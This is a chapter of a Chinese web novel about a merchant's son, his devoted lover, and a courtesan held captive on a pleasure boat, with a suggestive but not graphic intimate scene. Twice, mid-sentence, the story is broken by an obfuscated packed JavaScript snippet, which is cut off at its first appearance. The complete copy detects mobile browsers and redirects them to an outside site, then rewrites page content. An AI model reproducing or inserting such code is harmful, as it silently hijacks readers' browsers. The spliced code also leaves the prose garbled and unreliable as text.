肖父转过身,目光严厉地看向肖晨,语重心长地说道:“晨儿,你这次实在是太莽撞了,怎么能为了一个低贱女子就不顾后果地行事?你知不知道,要不是咱们家有些关系,能请动高丞相出面,换做普通人家,你早就没命了!” 肖晨微微低下头,心中虽有自己的坚持,但也明白父亲所言非虚。肖父继续说道:“咱们家只是商人,不像那些当官的有权有势。他们只需一句话,就能随意给你安个罪名,到时候,咱们有口也难辩呐!” 肖晨抬起头,眼神坚定地看着父亲:“父亲,我知道您是为我好,可丁香姑娘并非您说的那般低贱。她身处困境,受尽欺辱,我实在无法坐视不管。” 肖父皱了皱眉头,有些生气地说道:“晨儿,你太天真了。这世间可怜之人多了去了,你救得过来吗?你这般行事,不仅害了自己,还可能连累整个家族。” 肖晨沉默片刻,缓缓说道:“父亲,我明白家族的责任,但我也不能违背自己的良心。当时若不出手,我日后定会良心不安。” 肖父看着儿子倔强的模样,心中又气又无奈,重重地叹了口气:“唉,你这孩子,就是太轴。这次算是万幸,可不能再有下次了。” 肖晨微微点头:“父亲,孩儿知道错了。只是孩儿还是放心不下丁香姑娘,不知她现在怎样了。” 肖父摆了摆手,说道:“这事儿以后再说,你先把身体养好了。咱们肖家在这事儿上已经出了不少力,不能再轻易涉险。” 肖晨心中虽有些失落,但也只能应道:“是,父亲。”肖父看着儿子,又叮嘱了几句,这才转身离开房间。肖晨望着父亲离去的背影,心中五味杂陈,一方面明白父亲的担忧,一方面又难以割舍对丁香的牵挂。 李傲雪见肖父离开,轻轻推开门走进房间。她看着肖晨,眼中满是委屈与疑惑,声音微微颤抖地问道:“少爷,你究竟是为了什么事情,那个叫丁香的女子又是谁?你……你是不是喜欢她,不想要我了,才这么奋不顾身?” 肖晨心中一紧,赶忙拉住李傲雪的手,解释道:“傲雪,你别误会。我对丁香,并非男女之情。只是那日见她被人欺辱,实在不忍心袖手旁观。她虽是身处风尘,却有着难得的善良与才情,不该被那些人如此践踏。” 李傲雪微微咬着嘴唇,泪水在眼眶里打转:“可是少爷,你为了她不顾自己安危,我……我真的很害怕。我以为……以为你不再在意我了。” 肖晨心疼地将李傲雪拥入怀中,轻声说道:“傲雪,你说什么傻话。我怎么会不在意你呢?这次是我考虑不周,让你担心了。但当时的情况,我若不出手,良心难安。” 李傲雪靠在肖晨怀里,抽泣着说道:“少爷,我知道你心地善良,可以后能不能多为自己想想,也为我想想。你要是出了事,我该怎么办?” 肖晨轻轻拍着李傲雪的背,说道:“我知道了,傲雪。以后我会更加小心,不会再让你担惊受怕。你放心,我会一直陪着你。” 李傲雪抬起头,看着肖晨,破涕为笑:“少爷,你说的可不许反悔。那……那你打算怎么安置丁香姑娘呢?” 肖晨微微皱眉,思索片刻后说道:“等我身体彻底恢复,还是想想法子帮她赎身,让她能过上安稳的日子。她不该被困在那种地方。傲雪,你会怪我吗?” 李傲雪犹豫了一下,最终还是轻轻摇了摇头:“只要少爷心中有我,我……我不会怪你。只是希望少爷以后做任何事,都要先考虑清楚。” 肖晨看着李傲雪,心中满是感动:“傲雪,谢谢你的理解。你如此善解人意,我当然要为你考虑。”说罢,他紧紧握住李傲雪的手,仿佛在向她许下永恒的承诺。 李傲雪脸颊微微泛红,仰头望着肖晨,轻声问道:“少爷,要是真的给她赎身,会娶她吗?” 肖晨温柔地看着李傲雪,眼神坚定且澄澈,毫不犹豫地说道:“不会,我是不能这么做的。我和丁香,只是知己,是朋友。在我心里,她更像需要我帮助的人,绝非共度一生之人。” 说完,他轻轻捧起李傲雪的脸,缓缓靠近,吻了上去,带着深情与眷恋,呢喃道:“我已经有了你,这便够了,此生有你相伴,是我最大的幸运。” 李傲雪闭上双眼,沉浸在这温柔的一刻,随后主动回吻着肖晨,双手紧紧环住他的脖颈,带着一丝撒娇与占有欲说道:“那就好,我也不能把你让给别人。你只能是我的。” 两过了许久,他们缓缓分开,李傲雪将头靠在肖晨肩上,两人静静地享受着这份温馨与安宁。 肖晨看着她说到:你现在占有欲可太强了,她一听便说到,少爷,我,我是不是说错话了。我是真的爱少爷,不想让你属于别的女子,只是,只是你不要生气,我,我会改掉的。 肖晨看着李傲雪一脸紧张与自责的模样,忍不住轻笑出声,伸手轻轻刮了刮她的鼻子,温柔地说道:“傻丫头,我没生气。其实,看到你这样在意我,我心里开心还来不及呢。” 李傲雪微微一愣,抬眸看向肖晨,眼中满是疑惑:“少爷,您真的不生气?我还以为……以为您会觉得我太小心眼了。” 肖晨将李傲雪搂得更紧了些,说道:“怎么会呢?我知道你是因为爱我,才会这样。这种占有欲,反倒是你在乎我的证明。我高兴还来不及,又怎会怪你。” 李傲雪脸上泛起一抹红晕,嘴角微微上扬,轻声说道:“少爷,我是真的爱您,爱到不想让您有一丝一毫属于别的女子。我害怕失去您,所以才……” 肖晨打断她的话,认真地说道:“傲雪,我明白你的心意。我也向你保证,我此生只钟情于你一人。你无需担忧,更不用为了迎合我去改变自己。你这样率真可爱的模样,我喜欢还来不及。” 李傲雪眼中闪烁着感动的泪花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在这氛围渐浓的情境中,李傲雪不知不觉仅剩下寸缕。肖晨看着这般模样的她,瞬间明白接下来可能要发生什么,顿时紧张起来,结结巴巴地说道:“我,我没做好心理准备,你让我做点准备。” 李傲雪见肖晨这般羞涩的模样,不禁“噗嗤”一笑,心中暗道:自家这小夫君每次都羞得要命,要是换了别的男子,面对这般情形,只怕早就迫不及待地折腾自己了。但正因为肖晨如此纯真腼腆,才更让她心生欢喜与爱意。 她停下动作,轻轻依偎在肖晨身旁,手指轻轻划过他的脸庞,温柔说道:“好,那我等你,小夫君。不过你可要快点准备好哦,我可不想等太久。”说罢,她在肖晨脸颊上轻轻一吻,眼中满是期待与爱意。肖晨感受到她的温柔与体贴,心中的紧张也渐渐舒缓,缓缓握住她的手,点了点头。 肖晨心里每次面对她这般热情,都隐隐有些害怕。虽说这副身体男儿身,可不知为何,一到这种亲近时刻,就不自觉地有些不自然。他的耳根泛红,心脏也跳得格外急促。 他偷偷瞥了一眼身旁眼神炽热的李傲雪,心中满是纠结。毕竟自己正值血气方刚的年纪,生理上的冲动实在难以抑制。但他又着实担心,若是一时控制不住,会不小心伤了她柔弱的身体。 这种矛盾的心情让他有些不知所措,既眷恋李傲雪给予的爱意,又害怕自己的冲动会造成不好的后果。他深吸一口气,努力平复内心的波澜,轻轻握住李傲雪的手,柔声道:“傲雪,我是真的爱你,只是……只是我怕自己万一没把握好,会让你受苦。咱们,咱们还是慢慢来,好不好?” 李傲雪笑了笑,眼中满是深情与渴望,柔声道:“少爷,怎么会受苦呢。我高兴还来不及呢,你可知道我有多么喜欢跟你亲密。”说罢,见肖晨依旧有些犹豫,她主动凑上前,急切地吻着他,似乎想用这热烈的举动打消肖晨的顾虑。 肖晨被她的热情冲击得有些晕眩,心中的防线摇摇欲坠。一方面是对李傲雪难以抑制的爱意,另一方面又残存着那一丝担忧。他试图回应李傲雪的吻,但理智又让他下意识地躲避。 “傲雪……”肖晨趁着间隙,艰难地开口,声音带着一丝沙哑,“我怕……”然而话未说完,又被李傲雪再次吻住。李傲雪紧紧贴在他身上,双手轻轻环住他的脖颈,仿佛在向他传递着自己毫无保留的爱意与坚定决心,让肖晨渐渐沉溺其中,思绪也愈发混乱,不知该如何是好。 李傲雪的举动很急,她热烈回应。肖晨在开始放飞了,原本尚存的一丝犹豫也被彻底冲散,她也配合他。 但在即将彻底沉沦之际,他尚存的一丝清明提醒着自己要理智。毕竟李傲雪是他心尖上的人,即便内心欢喜,他也不愿因自己伤害到她。他努力调整着紊乱的呼吸,试图在寻得平衡,双手不自觉地收紧,又缓缓放松,像是在与自己内心的冲动做着艰难的抗争。 最终,他轻轻捧起李傲雪的脸,目光中满是深情与克制,嘴唇微微颤抖着说:“傲雪……我……”话未出口,却饱含着无尽的情感与纠结。 李傲雪感受到肖晨的迟疑,忙轻声安抚:“不用担心我,少爷。”听到这话,肖晨彻底没了顾忌,放飞自我。 肖晨听到李傲雪的话,再也顾不上许多。然而,很快他就察觉到李傲雪身体的异样,她发烧的身躯和微微蹙起的眉头,让他意识到她此刻正承受不适。 “傲雪,是不是让你不舒服?”肖晨瞬间清醒了几分,满心的关切与自责,举动也下意识地放缓、变轻,“你要是难受,一定要告诉我。”他轻轻吻去她额头因疼痛而沁出的汗珠,眼中满是心疼与焦急,此刻只希望能将她的痛苦都转移到自己身上。 李傲雪微微摇头,虚弱却又坚定地看着肖晨:“少爷,我没事,我愿意”尽管不适阵阵袭来,她眼中的爱意却未曾减少半分,反而愈发浓烈,紧紧抱住肖晨,仿佛在向他传递着自己的决心。 肖晨满心担忧,看着李傲雪痛苦的模样,忍不住想要停下来,轻声说:“傲雪,你这样我心疼,还是停下吧。” 可李傲雪双手紧紧环住他,声音带着几分虚弱却又满是执拗:“少爷,别停,继续我太想要你在我身边,完完全全属于我”她眼神迷离,滚烫的脸颊因激动泛起红晕,眼中的渴望让肖晨再也狠不下心拒绝。 肖晨只得强忍着内心的心疼,举动愈发轻柔,一边留意着李傲雪的反应,一边用温柔的话语安抚:“傲雪,要是不适应一定要说,我会很小心。”他试图在满足李傲雪心意的同时,尽可能减轻她的不适,让这份亲密既能承载两人浓烈的爱意,又不致给她带来过多伤害。 李傲雪感觉自己已临近崩溃,身体微微颤抖着。可她满心满眼都是眼前的肖晨,不愿让他停下,便强装出还未满意的模样。 她娇喘着,用迷离的眼神看着肖晨,心里不禁想着:自家少爷竟比以前厉害了许多。而肖晨看着她泛红的脸颊,虽不太确定她真实状态,但依旧温柔且专注。 肖晨拼尽全力,坚持到最后一刻。而李傲雪终于再也承受不住,紧绷的神经瞬间松懈,她发出一声带着疲惫与满足的轻叹。 肖晨赶忙停下动作,心疼地将她轻轻揽入怀中,仔细查看她的状态。李傲雪面色潮红,眼神带着一丝迷离与无尽的温柔,微微喘息着。肖晨轻轻为她捋顺凌乱的发丝,在她额头落下一吻,满是关切地低语:“傲雪,辛苦你了,有没有哪里不舒服?” 李傲雪轻轻摇头,脸上浮现出幸福的笑容,依偎在肖晨怀里,感受着他有力的心跳,轻声说:“少爷,我没事,能和你这样,我很开心” 肖晨温柔地看着怀中的她,轻声说道:“我也是,这种感觉很美好。” 李傲雪微微仰头,目光中满是眷恋与期待,娇嗔道:“少爷下次可不要逃避了,多和我亲近些。只有这样,我才能真真切切地感受到你是真正属于我的。我呀,最喜欢和你身心都在一起的时候,感觉全世界都圆满了。” 肖晨抱紧了她,在她发顶落下一吻,认真地回应:“好,以后不会再逃避,只要你开心,我都愿意。” 李傲雪听到这句话,脸上洋溢着幸福的笑容,主动吻上肖晨,声音轻柔地说道:“那我可等着呢。”说完,她紧紧依偎在肖晨怀里,仿佛找到了最温暖的港湾。 肖晨也紧紧回抱着她,感受着彼此的体温和心跳。在这温馨静谧的房间里,爱意如同柔和的月光,洒满每一个角落。两人相拥而眠,带着对彼此深深的眷恋与满足,缓缓进入梦乡,嘴角都挂着一丝甜蜜的笑意,仿佛在睡梦中也能延续这份美好的情感。 32. 封建社会的悲哀 晨光透过纱帘漫进房间时,肖晨先醒了。 他侧过身,目光落在李傲雪颈侧那片淡粉的印记上,指尖悬在半空,终究没敢碰。昨夜的炽热仿佛还留在指尖,此刻却被清晨的微凉冲淡,只剩下几分说不清的滞涩。 “傲雪,”他开口时,嗓音带着初醒的沙哑,“身上还疼吗?” 李傲雪动了动,睫毛颤了颤才睁开眼。她望着他,眼底还蒙着层朦胧的水汽,听见问话,先是微怔,随即垂下眼睫,露出小巧的下巴。 “少爷,”她轻声应着,尾音微微发颤,却不是因为疼,“我不疼的。” 她往他身边挪了挪,肩膀轻轻贴上他的手臂,像只寻求庇护的小兽。“只要能在您身边,能亲近您,我怎么会疼呢?”她抬起眼,眸子里映着晨光,亮得惊人,“我只有开心。” 肖晨喉结滚了滚,伸手将她揽进怀里。布料下的肌肤温软,那些深浅不一的痕迹却像细密的针,扎在他心上。他知道她总是这样,把所有不适都藏起来,只把最温顺柔软的一面给他看。 “以后……”他想说些什么,比如“以后会轻点”,或是“以后别总忍着”,话到嘴边却成了叹息,“再睡会儿吧。” 李傲雪乖巧地应了声,往他怀里缩得更紧,鼻尖蹭着他的锁骨。她没说,其实后背确实有些酸,腰也隐隐发沉,但这些都抵不过此刻的安稳——能这样靠着他,听着他的心跳,连阳光都带着甜意。 回笼觉睡得并不沉,肖晨再次睁眼时,窗外的天光已亮得透彻。他低头看了眼怀里的人,李傲雪的睫毛在眼睑下投出浅浅的阴影,呼吸均匀,却在他微动时下意识地往他怀里缩了缩。 他轻手轻脚地想挪开,她却醒了,眼尾还带着点睡意的红。 “少爷醒了?”她撑着身子要坐起来,动作间眉头几不可察地蹙了下,又飞快舒展开。被子滑落下去,露出肩头几道暧昧的红痕,她像是没察觉,只忙着要掀被子下床,“我去给您拿衣服。” 肖晨一把按住她的手腕。她的皮肤很薄,腕骨硌得他手心发紧。“别动。”他的声音比清晨时沉了些,“躺着好好休息,你的身体要紧。” 李傲雪的动作顿住了,转过头看他,眼里的光暗了暗。“可是……” “没有可是。”肖晨打断她,伸手将滑落的被子拉回来,重新盖在她身上,“穿衣洗漱这些事,让佣人来做就好。” “不。”她忽然开口,声音不大,却带着股执拗。她抬起手,轻轻覆在他手背上,掌心的温度有些凉,“少爷,让我来吧。我想亲手帮您。” 她的指尖微微发颤,像是怕被拒绝,又补充道:“您要是不让我做这些,我……我会难过的。”尾音低下去,带着点委屈的鼻音,却不敢抬眼看他,只盯着两人交叠的手。 肖晨看着她那副小心翼翼的模样,心头像是被什么东西堵住了。他知道她的性子,看似温顺,骨子里却藏着股认死理的劲儿——在他面前,她总把“伺候”当成最安心的事,仿佛只有这样,才能确认自己是被需要的。 他沉默了片刻,终是松了手,声音放软了些:“慢点。” 李傲雪立刻抬起头,眼里瞬间亮起细碎的光,像落了星子。“哎。”她应着,掀开被子下床时,脚步还是晃了一下,却很快稳住,转身去拿叠在椅背上的衬衫,背影在晨光里显得格外单薄,却透着股满足的轻快。 肖晨见她脚步微晃,伸手便扶住了她的腰。掌心触到的地方温软,却也能感觉到那层薄薄的皮肉下,骨骼硌得人有些发紧。 “慢点,小心些。”他的声音沉了沉,带着不容置疑的关切,“别逞强。” 李傲雪被他扶着,身体轻轻晃了晃,随即稳住。她仰头看他,脸上漾开一抹浅淡的笑,眉眼弯弯的,像含着清晨的露光。“少爷放心,我能做好的。” 她挣开他的手,转身去取搭在屏风上的外袍,动作虽慢,却透着一股执拗的稳妥。“倒是您,”她回头看了眼他肩上那道还未完全愈合的伤口,语气里带着几分担忧,“身上的伤才刚好些,可不能再累着。一会儿还要去书房读书,我得赶紧伺候您梳洗妥当,别误了时辰。” 肖晨看着她踮脚去够架子上的发带,裙摆扫过地板,留下细碎的声响。他忽然觉得,她口中的“伺候”,倒像是一种无声的提醒——提醒着他,她始终把他的事放在心尖上,哪怕自己还带着昨夜的疲惫。 “不急。”他走过去,从她手里接过发带,指尖不经意擦过她的手背,“等你缓过来再说。” 李傲雪却摇摇头,重新拿过发带,低头给他系好衣襟的盘扣,声音轻得像羽毛:“不碍事的,少爷。能为您做点什么,我心里踏实。” 肖晨低头,在她额间印下一个轻吻,带着晨露般的微凉,却又透着暖意。 “傲雪,你真好。”他的声音里带着几分喟叹,指尖轻轻刮过她的脸颊,“听话,一会儿我让人把早餐送进来。” 他顿了顿,目光扫过她略显苍白的脸色,语气添了几分不容置喙的温和:“今天就别到处走动了,乖乖在床上歇着,嗯?” 李傲雪被他吻得一愣,随即脸颊泛起红晕,像染上了胭脂。她垂下眼,手指绞着衣角,轻声应道:“……好,听少爷的。” 心里却像揣了块暖玉,方才起身时的那点不适,仿佛都被这一声夸赞和温柔的叮嘱熨帖了。她抬眼望他,眸子里盛着满满的笑意,比窗外的晨光还要亮几分。 肖晨换好衣袍,又站在床边看了她片刻,见她乖乖裹着被子,才转身往外走。走到门口时,他回头叮嘱:“躺着别乱动,我让张妈把粥熬得软些。” 李傲雪点点头,目送他的身影消失在门后,才慢慢蜷起腿。被褥里还残留着他的气息,混着淡淡的墨香,让她莫名安心。方才强撑着起身时的酸累渐渐涌上来,她闭上眼,却没什么睡意,指尖轻轻抚过颈侧的印记,嘴角忍不住微微上扬。 没过多久,门外传来轻叩声,张妈端着托盘走进来,见她醒着,笑着道:“少奶奶醒了?少爷特意吩咐了,让给您炖了燕窝粥,说是补身子。” 李傲雪连忙要起身,张妈按住她:“哎哟您别动,少爷说了,让您好好歇着,我来伺候您就行。”说着便将小桌架在床沿,把粥碗摆上去,“快趁热吃吧,凉了就腥气了。” 她小口喝着粥,甜糯的暖意从喉咙滑下去,熨帖了五脏六腑。正吃着,肖晨推门进来,手里还拿着本书。“吃得怎么样?”他走到床边,目光落在空了小半的碗上。 “很好吃,谢谢少爷。”她抬头看他,眼里亮晶晶的。 他嗯了一声,在床边坐下翻书,却没立刻看,只时不时抬眼瞥她一眼。晨光透过窗棂落在他侧脸,睫毛投下浅浅的阴影,倒比书页上的字更让人移不开眼。 李傲雪很快喝完了粥,张妈进来收了碗,房间里又只剩他们两人。她看着他认真看书的样子,轻声问:“少爷不去书房吗?” “今日不去了。”他翻过一页书,声音平淡,“在这儿陪你。” 她心头一跳,脸颊又热起来,连忙别过脸,望着窗外出神。窗台上的茉莉开得正好,风一吹,送进来淡淡的香。原来被人这样放在心上,是这样暖的滋味。 日头渐渐爬到窗棂中央,肖晨合上书时,李傲雪已经歪在枕头上睡着了。她大概是累极了,眉头舒展着,呼吸轻得像羽毛,颊边还带着点未褪的红晕。 他放轻脚步走过去,替她掖了掖被角。指尖擦过她的手背,触到一片微凉,便将她的手轻轻拢进被子里。 刚直起身,就见她睫毛颤了颤,眼尾沁出点湿意,像是在做梦。他顿住脚,听见她迷迷糊糊地呢喃:“少爷……别走……” 肖晨的心像是被什么东西攥了一下,又酸又软。他重新坐回床边,伸手轻轻拍着她的后背,像哄孩子似的低声道:“我在呢,不走。” 她似乎听清了,往被子里缩了缩,嘴角弯出个浅浅的弧度,再没了动静。 他就这么坐着,看了会儿她的睡颜,又转头看窗外。蝉鸣不知何时起了声,衬得房间里愈发安静。案几上的茶水凉了,他也没动,只觉得这样的时刻难得,连空气里都浮着层温吞的甜。 直到日头偏西,李傲雪才醒过来。睁眼就看见肖晨还坐在床边,手里拿着本没翻几页的书,目光落在她脸上。 “少爷……”她有些慌,连忙要坐起来,“我怎么睡了这么久?” “躺着吧,”他按住她的肩,“刚醒别急着动。”他起身倒了杯温水递过去,“渴了吧?” 她捧着水杯小口喝着,暖流传遍全身,才发现浑身的酸累消了大半。“您一直在这儿陪着我?”她轻声问,眼里带着点不敢信。 肖晨嗯了一声,接过空杯放回案几:“书房的书哪有你重要。” 这话听得李傲雪耳尖发烫,她低下头,手指抠着被角,心里却像揣了团火,暖得快要溢出来。原来被他放在心上,是这样让人欢喜的事。 李傲雪望着肖晨,眼里的暖意还没散尽,听见他说一直陪着,连忙摇摇头:“少爷,您不用这样的。您有自己的事要忙,我一个人躺着也不碍事,真的不需要一直陪着。” 肖晨没说话,俯身又在她额上亲了亲,那吻比清晨更轻,带着点安抚的意味。“听话,”他拇指蹭了蹭她的脸颊,“要是躺着闷了,就叫人陪着在府里走走,晒晒太阳也好。别自己硬撑着。” 李傲雪乖乖点头,看着他整理好衣襟,转身往外走。走到门口时,他又回头看了她一眼,才推门出去。 门外很快传来阿成的声音:“少爷,马车备好了。” “嗯,去码头。”肖晨的声音隔着门板传进来,带着几分沉敛。 李傲雪慢慢躺回枕上,听着脚步声渐远,直到再也听不见。她知道肖晨总有自己的事要忙,只是方才他那句“书房的书哪有你重要”还在心里打转,暖得她鼻尖微微发酸。 而另一边,肖晨坐进马车,眉头便微微蹙起。阿成坐在对面,见他神色凝重,低声道:“少爷,昨晚那边的人来报,说丁香姑娘抵死不从,那几个客人闹得厉害,船老大已经把人锁起来了。” 肖晨指尖在膝头轻轻敲着,眸色沉沉:“知道了。去看看再说。” 马车碾过青石板路,发出规律的声响。他望着窗外掠过的街景,脑子里却闪过李傲雪颈侧的红痕,又很快被丁香那张倔强的脸取代。有些事,终究是躲不过的。 两人到了后,船板在脚下微微晃动,带着河面上特有的腥气。肖晨刚踏上甲板,就被几个精壮的汉子拦住了。 领头的是个疤脸男人,斜着眼打量他,嘴角勾起抹嘲讽的笑:“哟,这不是肖公子吗?”他往地上啐了口,“上次来这儿想带丁香那丫头走,结果被官府抓进去蹲了几天,还没学乖?” 他挥了挥手里的鞭子,鞭梢在甲板上抽得啪响:“我们这‘画舫’可不是什么人都能撒野的地方,肖公子还是请回吧。” 肖晨脸色未变,目光扫过周围几个虎视眈眈的汉子,沉声道:“我不是来闹事的,只想看看丁香怎么样了。” 疤脸男人像是听到了什么笑话,哈哈大笑起来:“看她?一个不听话的玩意儿,留着也是惹客人不痛快。”他收了笑,眼神狠戾了几分,“既然让客人不满意,自然得受罚——现在已经被我们关在后舱了,能不能活过今天,还得看她的造化。” 阿成在一旁按捺不住,往前一步:“你们把人怎么样了?!” “怎么样?”疤脸男人瞥了他一眼,“不过是让她知道知道规矩罢了。肖公子要是识相,就别管这闲事,免得再把自己搭进去。” 肖晨的手在袖中缓缓攥紧,指节泛白。他清楚这画舫背后的势力,硬碰硬讨不到好,可一想到丁香那双倔强的眼睛,终究还是冷声道:“我要见她。” 疤脸男人听到“见她”二字,眼睛立刻亮了亮,搓着手凑近两步:“想见人也不是不行,不过嘛……”他故意拖长了调子,拇指和食指捻了捻,“总得拿些诚意出来。” 肖晨从袖中摸出个沉甸甸的钱袋,扔了过去。钱袋撞在疤脸男人手心,发出沉闷的响声。 “这才像话。”疤脸男人掂了掂钱袋,脸上的横肉堆出笑,冲身后的人扬了扬下巴,“带肖公子去后舱,记着,就一炷香的功夫。” 狭窄的过道里弥漫着霉味,肖晨跟着汉子穿过几扇木门,最后停在一间低矮的舱房前。门被拉开时,一股浓重的药味混着血腥气扑面而来。 丁香蜷缩在角落里,身上的粗布衣裳沾着污渍,脸颊还有块青紫的瘀伤。听见动静,她猛地抬头,看清来人时,眼里先是震惊,随即涌上红意。 “公子……您怎么来了?”她的声音嘶哑,带着不敢置信的颤抖。 肖晨看着她这副模样,心头一沉,快步走过去蹲下身:“我来看看你。” 丁香却猛地别过头,眼泪顺着脸颊滚落:“您不该来的!”她的声音带着哭腔,“上次您为了我,已经被抓到大牢里去了,我什么都做不了,连看您一眼都不能……现在您怎么又要来?您不怕再被他们害了吗?” 她攥紧了拳头,指甲深深嵌进掌心,恨自己的无能为力,更怕肖晨因为她再次陷入险境。舱房里光线昏暗,只有壁缝透进的一点微光,映着她脸上的泪痕,格外让人心涩。 肖晨沉默片刻,伸手想替她拭去眼泪,却被她躲开了。他看着她戒备又痛苦的样子,低声道:“别怕,这次我有分寸。” 丁香猛地摇头,眼泪掉得更凶了,声音里带着决绝:“公子,您快走吧!算我求您了!”她扶着墙想站起来,却因为虚弱晃了晃,“我已经欠您太多了,不能再让您为我冒险。您要是不走,我……我今天就死在这里,绝不会跟您离开!” 肖晨看着她眼底的执拗,眉头拧得更紧:“丁香,你听我说——” “公子,我知道您心善,但这里不是您能救得出去的地方。您让我留在这儿吧,横竖都是这样了。” 他却不肯放弃,语气沉了几分:“我不能眼睁睁看着你在这里受罪。你本该有更好的人生,你弹琴那么好,指尖该碰的是琴弦,不是这些肮脏的枷锁。我不想看着你被他们磋磨成一把枯骨。” 丁香怔怔地望着他,眼里的泪慢慢停了,只剩下一片哀戚的平静。她忽然笑了笑,那笑容比哭更让人心头发堵:“公子的好意,我心领了。这辈子能遇见您这样的知己,听您说过这些话,我已经……死而无憾了。” 她往后缩了缩,拉开两人的距离,像是在划清界限:“您走吧,趁着他们还没反悔。就当……就当从来没认识过我。” 舱房里陷入死寂,只有船外隐约传来的浪涛声,一下下拍在心上,沉闷得发疼。肖晨看着她紧闭的双眼,知道她这是铁了心要把他推开,喉间像堵着块石头,一个字也说不出来。 肖晨看着丁香蜷缩在角落的背影,知道此刻多说无益,她的情绪像拉满的弓弦,稍一碰就会断裂。他最后看了眼那道倔强的剪影,转身走出了舱房。 刀疤刘正叼着烟杆在甲板上等着,见他出来,嘴角勾起一抹了然的笑:“怎么,劝不动?我早说了,这丫头就是块茅坑里的石头,又臭又硬。” 肖晨没理会他的嘲讽,目光冷沉沉地落在他脸上:“你们把她放出来,换个干净点的地方住。再请个大夫来,好好给她调理身子。” 刀疤刘嗤笑一声,吐掉烟蒂:“肖公子倒是大方,真把她当千金小姐养着?我们这儿可不养闲人,她吃的喝的,哪样不要钱?” 肖晨没说话,直接从阿成手里接过一个沉甸甸的钱袋,扔到刀疤刘怀里。钱袋坠得他一个踉跄,打开一看,里面的银锭子闪着冷光,足够寻常人家过上半年。 “这些够不够?”肖晨的声音没什么起伏,“只要你们好好待她,按时请大夫,该给的钱我一分不会少。但要是让我知道你们苛待她……”他顿了顿,眼神骤然锐利,“我肖晨还不至于连个姑娘都护不住。” 刀疤刘掂着钱袋,脸上的嘲讽慢慢变成了贪婪。他舔了舔嘴唇,眯着眼打量肖晨片刻,终是咧嘴一笑:“肖公子都这么说了,我们哪敢不从?放心,保证把她伺候得好好的,等她想通了,说不定还能给您弹曲儿听呢。” 肖晨没再应声,转身带着阿成下了船。海风卷着潮气扑在脸上,他回头望了眼那艘在暮色中渐渐模糊的花船,眉头依旧紧锁。他知道这些人贪得无厌,这点钱护不了丁香太久,但至少能让她先喘口气。 “回去吧。”他对阿成说,脚步坚定地走向码头,心里已经开始盘算下一步该如何做。 刀疤刘掂量着钱袋里的银锭,眼尾的笑纹堆得老高,冲身后的手下挥了挥手:“去,把那丫头带出来,换间干净舱房。再去镇上请个像样的大夫,她脸上那伤要是留了疤,往后还怎么见客?” 几个汉子应着,转身往关押丁香的舱房去。没一会儿,就见丁香被扶了出来,脚步虚浮,却依旧梗着脖子,不肯看周围的人。 “动作轻点!”刀疤刘又喊了一嗓子,像是突然有了耐心,“让伺候的丫头来,给她好好洗个澡,换身干净衣裳。把上次那位客官送的那身水绿色的裙衫找出来,她穿那个好看。” 手下们面面相觑,还是头回见刀疤刘对个“货”这么上心,但看在钱的份上,没人敢多嘴,乖乖领着丁香去了后舱。 丫头端来热水,伺候着丁香擦洗。褪去脏污的衣裳,她身上的瘀伤更显触目惊心,新旧交叠,连丫头看了都忍不住皱眉。大夫很快来了,给她上了药,又开了些活血化瘀的方子,嘱咐要按时煎服。 丁香全程没说话,任由人摆弄,眼神空茫地望着舱外。她知道这些人突然转变态度,不过是因为肖公子给了钱,可这短暂的“优待”背后,终究是为了让她养好了身子,继续弹琴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993193|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接客,继续做他们赚钱的工具。 刀疤刘站在舱外,听着里面传来轻微的水声,摸着下巴嘿嘿笑了两声。他当然不会一直关着丁香,这丫头琴弹得好,模样也周正,是艘摇钱树。等养得气色好些,再让她露个面,那些喜欢风雅的客人自然肯花钱。 “记着,汤药不能断,吃食也给好些的。”他又叮嘱了一句,转身往甲板走去,心里已经开始盘算着,该怎么从肖公子那里再捞些好处。这买卖,划算。 马车刚驶进肖府大门,就见肖父背着手站在正厅门前,脸色沉得像要滴出水来。肖晨心里一凛,知道怕是瞒不过去。 “去哪了?”肖父的声音带着压抑的怒火,目光在他和阿成身上扫过。 肖晨上前一步,垂眸道:“回父亲,去码头见了丁香。” “你还敢提!”肖父猛地提高了声音,手里的拐杖重重砸在青石板上,发出沉闷的响声,“上次为了那个卑贱的奴隶,你被官府抓去大牢,严刑拷打差点丢了性命,忘了?” 他指着肖晨的鼻子,气得浑身发抖:“你是肖家的长子,将来要继承家业的公子爷!那些烟花柳巷里的奴隶,是你能碰的吗?她们的命贱如草芥,值得你一次次把自己搭进去?” “父亲,丁香她……”肖晨想解释,却被肖父厉声打断。 “住口!”肖父的拐杖又落下来,擦着肖晨的脚边砸在地上,“从今天起,不准再踏出府门半步!你给我收收心,想想自己的身份,别再做这些辱没门楣的事!” 肖晨攥紧了拳头,指节泛白。他知道父亲的脾气,一旦动怒便很难转圜,尤其是在“门当户对”这件事上,父亲向来固执得很。 “可是父亲,丁香她……” “没有可是!”肖父转身往正厅走,留下一句冰冷的话,“再让我知道你去见那个奴隶,就别怪我不认你这个儿子!” 阿成站在一旁,吓得大气不敢出。肖晨望着父亲决绝的背影,又想起丁香在舱房里倔强的眼神,只觉得胸口像是被什么东西堵住了,闷得发疼。 肖父的脚步声消失在正厅后,肖母才快步从廊下走出来,眼圈红红的,一把握住肖晨的胳膊。 “晨儿,”她的声音带着哭腔,指尖微微发颤,“你怎么就不能让我们省点心?”她抬手摸了摸儿子的脸颊,目光落在他下颌那道浅浅的疤痕上——那是上次坐牢时留下的,至今看着还让她心疼。 